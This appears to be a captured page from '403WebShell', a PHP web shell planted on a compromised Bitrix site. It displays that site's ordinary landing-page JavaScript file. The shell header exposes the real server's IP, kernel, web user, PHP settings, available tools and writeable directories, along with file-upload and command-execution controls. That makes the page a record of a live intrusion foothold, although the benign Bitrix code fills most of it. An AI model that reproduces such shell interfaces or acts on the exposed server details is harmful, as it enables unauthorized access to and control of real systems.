%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.19.207
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/js/landing/node.js
;(function() {
	"use strict";

	BX.namespace("BX.Landing.Block");

	var isFunction = BX.Landing.Utils.isFunction;
	var isString = BX.Landing.Utils.isString;
	var isPlainObject = BX.Landing.Utils.isPlainObject;
	var isArray = BX.Landing.Utils.isArray;
	var bind = BX.Landing.Utils.bind;
	var proxy = BX.Landing.Utils.proxy;
	var data = BX.Landing.Utils.data;

	/**
	 * Implements base interface for works with block node
	 *
	 * @param {nodeOptions} options
	 *
	 * @property {HTMLElement} node
	 * @property {nodeManifest} manifest
	 * @property {string} selector - Node selector
	 *
	 * @constructor
	 */
	BX.Landing.Block.Node = function(options)
	{
		this.node = options.node;
		this.manifest = isPlainObject(options.manifest) ? options.manifest : {};
		this.selector = isString(options.selector) ? options.selector : "";
		this.onChangeHandler = isFunction(options.onChange) ? options.onChange : (function() {});
		this.onDesignShow = isFunction(options.onDesignShow) ? options.onDesignShow : (function() {});
		this.changeOptionsHandler = isFunction(options.onChangeOptions) ? options.onChangeOptions : (function() {});

		this.onDocumentClick = proxy(this.onDocumentClick, this);
		this.onDocumentKeydown = proxy(this.onDocumentKeydown, this);

		// Bind on document events
		bind(document, "click", this.onDocumentClick);
		bind(document, "keydown", this.onDocumentKeydown);

		// Make manifest as reed only
		Object.freeze(this.manifest);

		// Add selector attribute
		this.node.dataset.selector = this.selector;

		if (this.isAllowInlineEdit())
		{
			this.onAllowInlineEdit();
		}
	};


	BX.Landing.Block.Node.storage = [];


	BX.Landing.Block.Node.prototype = {

		/**
		 * Handles document click event
		 * @param {MouseEvent} event
		 */
		onDocumentClick: function(event)
		{

		},


		/**
		 * Handles document keydown event
		 * @param {KeyboardEvent} event
		 */
		onDocumentKeydown: function(event)
		{
			if (event.keyCode === 27)
			{
				this.onEscapePress();
			}
		},


		/**
		 * Handles escape press event
		 */
		onEscapePress: function()
		{

		},


		/**
		 * Gets field for editor form
		 * @abstract
		 * @return {?BX.Landing.UI.Field.BaseField}
		 */
		getField: function()
		{
			throw new Error("Must be implemented by subclass");
		},


		/**
		 * Shows node content editor
		 */
		showEditor: function()
		{

		},


		/**
		 * Hides node content editor
		 */
		hideEditor: function()
		{

		},


		/**
		 * Handles allow inline edit event
		 */
		onAllowInlineEdit: function()
		{

		},


		/**
		 * Checks that allow inline edit
		 * @return {boolean}
		 */
		isAllowInlineEdit: function()
		{
			return this.manifest.allowInlineEdit !== false;
		},


		/**
		 * Checks that this node is grouped
		 * @return {boolean}
		 */
		isGrouped: function()
		{
			return typeof this.manifest.group === "string" && this.manifest.group.length > 0;
		},


		/**
		 * Sets node value
		 * @abstract
		 * @param {*} value
		 * @param {?boolean} [preventSave = false]
		 * @param {?boolean} [preventHistory = false]
		 */
		setValue: function(value, preventSave, preventHistory)
		{
			throw new Error("Must be implemented by subclass");
		},


		/**
		 * Gets value
		 * @abstract
		 * @return {string|object}
		 */
		getValue: function()
		{
			throw new Error("Must be implemented by subclass");
		},


		/**
		 * Gets additional values
		 * @return {*}
		 */
		getAdditionalValue: function()
		{
			if (isPlainObject(this.manifest.extend) &&
				isArray(this.manifest.extend.attrs))
			{
				return this.manifest.extend.attrs.reduce(function(accumulator, key) {
					return (accumulator[key] = data(this.node, key)), accumulator;
				}.bind(this), {});
			}

			return {};
		},


		/**
		 * Handles content change event and calls external onChange handler
		 */
		onChange: function()
		{
			this.onChangeHandler.apply(null, [this]);
		},


		/**
		 * Gets node index
		 * @return {int}
		 */
		getIndex: function()
		{
			var index = parseInt(this.selector.split("@")[1]);
			index = index === index ? index : 0;
			return index;
		},


		/**
		 * Prevents save
		 * @param {boolean} value
		 */
		preventSave: function(value)
		{
			this.isSavePreventedValue = value;
		},


		/**
		 * Checks that save is prevented
		 * @return {boolean}
		 */
		isSavePrevented: function()
		{
			return !!this.isSavePreventedValue;
		},


		/**
		 * Gets current block
		 * @return {number|*}
		 */
		getBlock: function()
		{
			return BX.Landing.PageObject.getBlocks().getByChildNode(this.node);
		}
	};
})();

Youez - 2016 - github.com/yon3zu
LinuXploit